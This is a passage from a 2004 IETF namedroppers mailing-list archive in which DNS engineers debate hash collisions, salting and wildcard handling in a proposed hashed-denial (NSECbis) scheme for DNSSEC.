NSEC's > like: > owner NSEC owner <types it has> > > 3) For name errors, just return: > H(owner1) NXD H(owner2) for any H(owner1) < H(query) < H (owner2)? > > The implications - the zone data no longer needs to be sorted (no > lexical ordering of names). The table of hash records need not sully > the data space, so who cares about collisions? Precisely my point! > Okay - maybe H(missing name) = H (owner3)...like I've said, I have been > trying not to think about this until the time has come for the > discussion on solutions. Hash collisions are fantastically unlikely. With salt you can make them never occur, anyway. Plus, if they were a problem, then you would have the same issue with signatures, but I don't see anyone bringing that one up. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Tue, 14 Sep 2004 13:45:42 +0100 Lines: 29 Sender: owner-namedroppers@ops.ietf.org References: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> <5041.1094858659@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 14:51:36 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <5041.1094858659@munnari.OZ.AU> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Robert Elz wrote: > | it's trivially easy (and computationally > | efficient) to find a value S such that there are NO values i, j such that > | Y(i) = X(j) - I'll call that finding a non-colliding salt value S such that > | there are no collisions between the range and domain of the hash function. > > I think you're relying upon probabilities, which doesn't work in a situation > like this. DNSSEC already relies on the probability that two strings don't have the same hash - if they did, then a signature could be used to prove fake data. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Tue, 14 Sep 2004 13:48:32 +0100 Lines: 62 Sender: owner-namedroppers@ops.ietf.org References: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> <5041.1094858659@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 14:56:09 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <5041.1094858659@munnari.OZ.AU> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Robert Elz wrote: > | One possible mechanism is simply to iterate through values of S chosen > | according to any cyclic algorithm with a cycle length >> n(X) (let's say of > | length 2^H or similar) - let's call the values S(1), S(2), S(3) etc. - you > | can show that you will find a first non-colliding value S(c) in a > | computationally small number of iterations (the expected number of > | iterations c is in essence 1, assuming n(X)<<2^H). > > All I need to do, is pick a name, any name, N, that exists in my zone, > and then for each potential S calculate HASH(N, S[i], H) and add that > name to my zone file. Now for name N, there's no possible S which doesn't > generate a conflict. > > How practical this is depends upon how big the range of possible salts is, > but practical or not, it is clearly possible. The number of bits in the > hash function is immaterial here (though as it gets bigger, the number of > possible salts must get less, as the total label length is limited). The salt is not included in the label (at least in my proposal). However, I still contend that colliding with another name is irrelevant, since the hashed name will only appear in an NSECbis record, and an unhashed name will never appear in an NSECbis record. > | For the record, for the reasons Ben mentioned a good while ago, I am not > | sure why collisions are actually a problem at all > > This one is a different issue, and isn't one I was addressing (just the > theory that it is possible to go about stealing names from the namespace > without ever doing any harm). > > The usual problems (if the RRtype of the clashing name is NS or CNAME) > might not apply to NSEC because of the weird rules that (I think) apply > to this new record type (or then again they may, I'm no expert on the > DNSSEC RR types). > > But I'd want to know just how they effect wildcards. If I have a > * IN MX 10 foobar. > record in my zone file (for the example. zone), I expect that anyone looking > up any-random-hash.example. is going to get the foobar MX record, just like > anyone looking up any other name that doesn't exist will get. If the > NSEC records existing mean that the the wildcard doesn't get found, then > things are badly broken. To fix that I'd have to add explicit MX records > for every hash label (and a *.hash-label as well) which would alter the > set of NSEC records that has to exist (clearly adding more), which means more > MX records required, and ... (so it isn't really fixable). That is, unless > NSEC records are to be treated as "special" for wildcard purposes. I agree, NSECbis records need to be treated as special. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Tue, 14 Sep 2004 09:19:42 -0400 Lines: 40 Sender: owner-namedroppers@ops.ietf.org References: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> <a0602040dbd67aa223024@[192.168.1.100]> <4146D2B8.2070903@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 15:30:49 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <4146D2B8.2070903@algroup.co.uk> To: Ben Laurie <ben@algroup.co.uk> Precedence: bulk At 12:15 +0100 9/14/04, Ben Laurie wrote: > >In other words, if a.*.example exists, then a query for x.y.example would >cause y.example to be synthesized as the closest encloser? So, if the zone >looked like: > >a.*.example TXT "1" >*.example TXT "2" > >Then a query for x.y.example would yield NXDOMAIN (since y.example >is an ENT). If a.*.example was not present, the result would be "2". The closest encloser is never synthesized - it's the closest domain in the tree to the name that is sought. Recall that synthesis only happens when you've found that an exact match fails. The last point of "success" is the closest encloser. For x.y.example, the closest encloser would be example.com. As there is a *.<closest encloser> (= *.example), that is the source of the synthetic records. The result you have is right, but y.example.com is not the closest encloser. Recall that when performing match rules to find the source of synthesis, multiple labels can match a '*'. (Not true when 'matching down the tree, label by label.) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 08:10:36 +1000 Lines: 47 Sender: owner-namedroppers@ops.ietf.org References: <4146E7F6.7010605@algroup.co.uk> Cc: Robert Elz <kre@munnari.OZ.AU>, Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 00:20:20 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-reply-to: Your message of "Tue, 14 Sep 2004 13:45:42 +0100." <4146E7F6.7010605@algroup.co.uk> Precedence: bulk > Robert Elz wrote: > > | it's trivially easy (and computationally > > | efficient) to find a value S such that there are NO values i, j such th > at > > | Y(i) = X(j) - I'll call that finding a non-colliding salt value S such > that > > | there are no collisions between the range and domain of the hash functi > on. > > > > I think you're relying upon probabilities, which doesn't work in a situatio > n > > like this. > > DNSSEC already relies on the probability that two strings don't have the > same hash - if they did, then a signature could be used to prove fake data. But collisions over the rdata do not impact on the lookup algorithm. Collisions in the namespace do impact on the lookup algorithm. > Cheers, > > Ben. > > -- > ApacheCon! 13-17 November! http://www.apachecon.com/ > > http://www.apache-ssl.org/ben.html http://www.thebunker.net/ > > "There is no limit to what a man can do or how far he can go if he > doesn't mind who gets the credit." - Robert Woodruff > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 08:04:26 +1000 Lines: 67 Sender: owner-namedroppers@ops.ietf.org References: <4146E624.7000307@algroup.co.uk> Cc: Edward Lewis <edlewis@arin.net>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 00:20:20 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-reply-to: Your message of "Tue, 14 Sep 2004 13:37:56 +0100." <4146E624.7000307@algroup.co.uk> Precedence: bulk > Edward Lewis wrote: > > I'm lost on the issue of "avoiding" collisions. > > > > I've been trying not to jump into this as we haven't set up the > > requirements (in a draft yet) for the problem, but: > > > > 1) What if authenticated denial was different for sets at an existing > > name than for name errors? I mean, in RFC 1034 returns "no error" if a > > name exists but data doesn't, and a "name error" if the name doesn't exist. > > > > 2) So, what if we take care of "no error, no data" by just using NSEC's > > like: > > owner NSEC owner <types it has> > > > > 3) For name errors, just return: > > H(owner1) NXD H(owner2) for any H(owner1) < H(query) < H (owner2)? > > > > The implications - the zone data no longer needs to be sorted (no > > lexical ordering of names). The table of hash records need not sully > > the data space, so who cares about collisions? > The data doesn't have to be sorted but the hashes do. "6 of 1, half a dozen of the other" as far as I am concerned. > Precisely my point! > > > Okay - maybe H(missing name) = H (owner3)...like I've said, I have been > > trying not to think about this until the time has come for the > > discussion on solutions. > > Hash collisions are fantastically unlikely. With salt you can make them > never occur, anyway. Plus, if they were a problem, then you would have > the same issue with signatures, but I don't see anyone bringing that one up. You are incorrect. All the current schemes have a hash of less than 64 octets. There will ALWAYS be a possibility of collision even after trying every salt as it is impossible to make the hash space larger than the pre-hash space. > Cheers, > > Ben. > > -- > ApacheCon! 13-17 November! http://www.apachecon.com/ > > http://www.apache-ssl.org/ben.html http://www.thebunker.net/ > > "There is no limit to what a man can do or how far he can go if he > doesn't mind who gets the credit." - Robert Woodruff > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Francis Dupont <Francis.Dupont@enst-bretagne.fr> Subject: Re: Overview of DNSSEC Pilots and Projects Date: Wed, 15 Sep 2004 00:16:33 +0200 Lines: 17 Sender: owner-namedroppers@ops.ietf.org References: <20040913195601.GY62784@universe.dnssec.net> Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 00:26:35 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Jacco Tunnissen <jacco@dnssec.net> In-reply-to: Your message of Mon, 13 Sep 2004 21:56:01 +0200. <20040913195601.GY62784@universe.dnssec.net> X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Precedence: bulk In your previous mail you wrote: DNSSEC RELATED PROJECTS CADDISC Project - Combining LDAP and DNSsec to distribute keys securely => CADDISC has a more operational follow-up named VERICERT. Thanks Francis.Dupont@enst-bretagne.fr -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 10:52:16 +0100 Lines: 35 Sender: owner-namedroppers@ops.ietf.org References: <200409142204.i8EM4QAK031128@drugs.dv.isc.org> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 12:01:15 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Mark Andrews <Mark_Andrews@isc.org>, Ben Laurie <ben@algroup.co.uk> In-Reply-To: <200409142204.i8EM4QAK031128@drugs.dv.isc.org> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 15 September 2004 08:04 +1000 Mark Andrews <Mark_Andrews@isc.org> wrote: > You are incorrect. All the current schemes have a hash of less than > 64 octets. There will ALWAYS be a possibility of collision even > after trying every salt as it is impossible to make the hash space > larger than the pre-hash space. But the pre-hash space is sparse, and we only care about collisions of ACTUAL values in the pre-hash space, not potential values. IE (assuming all octet values are OK and 64 byte labels for the sake of argument) there are the pre-hash space is size 256^64 and the hash space is smaller (let's say we represent them as alphanumerics so 36^64) - which is presumably your complaint. Note 256^64 is approximately 10^153, and there are about 10^79 atoms in the universe, so I predict in applications the pre-hash space will be sparse as even if we could represent one RR in just one atom, we are way off filling the zone :-) So this doesn't matter provided there is a limitation on the number of RR's in a zone - the limitation doesn't have to be impactful - If it was 10^76 (number of atoms in the universe over 1000), we'd still have 10^79 possible salt values to work through, i.e. about 263 bits of salt. And as I pointed out earlier, as 76*2<153, the expected number of iterations to find a salt that works is less than 2. I do not think limiting a zone file to 10^79 RRs is going to have a significant deployment impact. Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 21:48:09 +1000 Lines: 59 Sender: owner-namedroppers@ops.ietf.org References: <C4962070D00589CD49DFAC21@[192.168.100.25]> Cc: Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 13:58:42 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-reply-to: Your message of "Wed, 15 Sep 2004 10:52:16 +0100." <C4962070D00589CD49DFAC21@[192.168.100.25]> Precedence: bulk > --On 15 September 2004 08:04 +1000 Mark Andrews <Mark_Andrews@isc.org> > wrote: > > > You are incorrect. All the current schemes have a hash of less than > > 64 octets. There will ALWAYS be a possibility of collision even > > after trying every salt as it is impossible to make the hash space > > larger than the pre-hash space. > > But the pre-hash space is sparse, and we only care about collisions of > ACTUAL values in the pre-hash space, not potential values. IE (assuming all > octet values are OK and 64 byte labels for the sake of argument) there are > the pre-hash space is size 256^64 and the hash space is smaller (let's say > we represent them as alphanumerics so 36^64) - which is presumably your > complaint. Note 256^64 is approximately 10^153, and there are about 10^79 > atoms in the universe, so I predict in applications the pre-hash space will > be sparse as even if we could represent one RR in just one atom, we are way > off filling the zone :-) So this doesn't matter provided there is a > limitation on the number of RR's in a zone - the limitation doesn't have to > be impactful - If it was 10^76 (number of atoms in the universe over 1000), > we'd still have 10^79 possible salt values to work through, i.e. about 263 > bits of salt. And as I pointed out earlier, as 76*2<153, the expected > number of iterations to find a salt that works is less than 2. > > I do not think limiting a zone file to 10^79 RRs is going to have > a significant deployment impact. > > Alex You can't write a draft assuming that there won't be collisions. There will ALWAYS be the possibility of collisions (salts only reduce the probability) and you have to take those into account. You have to describe what to do when you have a collision. Don't say they won't occur because they will. For RRSIG the impact of collisions is that there are two (or more) RRsets that you cryptographically prove they are different. For name hashes you end up with different names with possible different sets of types that you some how have to merge. If the sets are identical I don't think there is a issue but it would need to be discussed. You will also have occasional false matches (names that you can't prove that don't exist). There MUST be names for which this will occur. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 19:11:42 +0700 Lines: 36 Sender: owner-namedroppers@ops.ietf.org References: <4146E8A0.2060402@algroup.co.uk> <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> <5041.1094858659@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 14:20:09 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-Reply-To: <4146E8A0.2060402@algroup.co.uk> Precedence: bulk Date: Tue, 14 Sep 2004 13:48:32 +0100 From: Ben Laurie <ben@algroup.co.uk> Message-ID: <4146E8A0.2060402@algroup.co.uk> | The salt is not included in the label (at least in my proposal). It needs to be included somewhere, right? Otherwise the resolver can't verify the hash is correct, and thus has no idea if the NSECbis record is actually one that was supposed to apply to this query. If the salt is something very huge, that's a lot of extra data to include (somewhere) in each record (and the salt itself needs to be verified to be correct). This is why I have been assuming that the size of the salt (number of bits) would be limited to a (somewhat) smallish value. | However, I still contend that colliding with another name is irrelevant, | since the hashed name will only appear in an NSECbis record, and an | unhashed name will never appear in an NSECbis record. That's OK as far as it goes, except that the mere existence of a RR (of any type) alters the lookup algorithm - particularly as it relates to wildcards. And ... | I agree, NSECbis records need to be treated as special. I think that would be a terrible idea, more "special" records are the very last thing that the DNS needs. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Roy Arends <roy@dnss.ec> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 15:06:59 +0200 (CEST) Lines: 79 Sender: owner-namedroppers@ops.ietf.org References: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: Alex Bligh <alex@alex.org.uk>, Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 15:15:48 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: roy@trinitario.schlyter.se To: Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> Precedence: bulk On Wed, 15 Sep 2004, Mark Andrews wrote: > > > --On 15 September 2004 08:04 +1000 Mark Andrews <Mark_Andrews@isc.org> > > wrote: > > > > > You are incorrect. All the current schemes have a hash of less than > > > 64 octets. There will ALWAYS be a possibility of collision even > > > after trying every salt as it is impossible to make the hash space > > > larger than the pre-hash space. > > > > But the pre-hash space is sparse, and we only care about collisions of > > ACTUAL values in the pre-hash space, not potential values. IE (assuming all > > octet values are OK and 64 byte labels for the sake of argument) there are > > the pre-hash space is size 256^64 and the hash space is smaller (let's say > > we represent them as alphanumerics so 36^64) - which is presumably your > > complaint. Note 256^64 is approximately 10^153, and there are about 10^79 > > atoms in the universe, so I predict in applications the pre-hash space will > > be sparse as even if we could represent one RR in just one atom, we are way > > off filling the zone :-) So this doesn't matter provided there is a > > limitation on the number of RR's in a zone - the limitation doesn't have to > > be impactful - If it was 10^76 (number of atoms in the universe over 1000), > > we'd still have 10^79 possible salt values to work through, i.e. about 263 > > bits of salt. And as I pointed out earlier, as 76*2<153, the expected > > number of iterations to find a salt that works is less than 2. > > > > I do not think limiting a zone file to 10^79 RRs is going to have > > a significant deployment impact. > > > > Alex > > You can't write a draft assuming that there won't be collisions. > There will ALWAYS be the possibility of collisions (salts only > reduce the probability) and you have to take those into account. At hash generation time, in case of collision with an existing name, alter salt. At name inclusion time, in case of collision with an existing hash, alter salt. At serving time, in case of collision, be famous: Oh, if anyone can give an example of an actual collision of two different inputs for say SHA-1 (full rounds please), please speak up. > You have to describe what to do when you have a collision. Don't > say they won't occur because they will. In case of an actual collision at serve time (birthday paradox does not apply here, all pre-images were chosen for you), you treat this as a false positive. A false positive implies that a non-existent name and type is now proven to exist. I can't even imagine how one can abuse that fact. Oh, if anyone can give an example of an actual abuse of false positives, please speak up. > For RRSIG the impact of collisions is that there are two (or more) > RRsets that you cryptographically prove they are different. > > For name hashes you end up with different names with possible > different sets of types that you some how have to merge. If the > sets are identical I don't think there is a issue but it would need > to be discussed. > > You will also have occasional false matches (names that you > can't prove that don't exist). There MUST be names for which > this will occur. If _ever_ such a name can be uncovered, register it with some type. Roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 09:31:42 -0400 Lines: 24 Sender: owner-namedroppers@ops.ietf.org References: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Alex Bligh <alex@alex.org.uk>, Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 15:48:04 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> To: Mark Andrews <Mark_Andrews@isc.org> Precedence: bulk At 21:48 +1000 9/15/04, Mark Andrews wrote: > For name hashes you end up with different names with possible > different sets of types that you some how have to merge. If the > sets are identical I don't think there is a issue but it would need > to be discussed. Why not just include both records as an RRset? I think this is why I'm thinking we should have split the problem into solving "name error" proofs and "no data" proofs. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 09:29:13 -0400 Lines: 34 Sender: owner-namedroppers@ops.ietf.org References: <200409142204.i8EM4QAK031128@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 15:49:28 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <200409142204.i8EM4QAK031128@drugs.dv.isc.org> To: Mark Andrews <Mark_Andrews@isc.org> Precedence: bulk At 8:04 +1000 9/15/04, Mark Andrews wrote: > > The data doesn't have to be sorted but the hashes do. "6 of 1, > half a dozen of the other" as far as I am concerned. For a lookup resulting in an answer, you don't need to access the hashes. So, for all positive hits, you can go back to the old means of storing a zone's contents in memory. Only for lookups resulting in negative answers do you have to have a sorted list of things to respond with. > You are incorrect. All the current schemes have a hash of less than > 64 octets. There will ALWAYS be a possibility of collision even > after trying every salt as it is impossible to make the hash space > larger than the pre-hash space. Well, I believe that. Still I don't understand why collisions are a problem. Perhaps because I am assuming that you'd only need to give out hash answers in name errors, so the list of RRSETs doesn't matter. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 23:44:53 +1000 Lines: 95 Sender: owner-namedroppers@ops.ietf.org References: <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> Cc: Alex Bligh <alex@alex.org.uk>, Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 15:53:58 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Roy Arends <roy@dnss.ec> In-reply-to: Your message of "Wed, 15 Sep 2004 15:06:59 +0200." <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> Precedence: bulk > On Wed, 15 Sep 2004, Mark Andrews wrote: > > > > > > --On 15 September 2004 08:04 +1000 Mark Andrews <Mark_Andrews@isc.org> > > > wrote: > > > > > > > You are incorrect. All the current schemes have a hash of less > than > > > > 64 octets. There will ALWAYS be a possibility of collision even > > > > after trying every salt as it is impossible to make the hash spa > ce > > > > larger than the pre-hash space. > > > > > > But the pre-hash space is sparse, and we only care about collisions of > > > ACTUAL values in the pre-hash space, not potential values. IE (assuming al > l > > > octet values are OK and 64 byte labels for the sake of argument) there are > > > the pre-hash space is size 256^64 and the hash space is smaller (let's say > > > we represent them as alphanumerics so 36^64) - which is presumably your > > > complaint. Note 256^64 is approximately 10^153, and there are about 10^79 > > > atoms in the universe, so I predict in applications the pre-hash space wil > l > > > be sparse as even if we could represent one RR in just one atom, we are wa > y > > > off filling the zone :-) So this doesn't matter provided there is a > > > limitation on the number of RR's in a zone - the limitation doesn't have t > o > > > be impactful - If it was 10^76 (number of atoms in the universe over 1000) > , > > > we'd still have 10^79 possible salt values to work through, i.e. about 263 > > > bits of salt. And as I pointed out earlier, as 76*2<153, the expected > > > number of iterations to find a salt that works is less than 2. > > > > > > I do not think limiting a zone file to 10^79 RRs is going to have > > > a significant deployment impact. > > > > > > Alex > > > > You can't write a draft assuming that there won't be collisions. > > There will ALWAYS be the possibility of collisions (salts only > > reduce the probability) and you have to take those into account. > > > At hash generation time, in case of collision with an existing name, alter > salt. > > At name inclusion time, in case of collision with an existing hash, alter > salt. > > At serving time, in case of collision, be famous: > > Oh, if anyone can 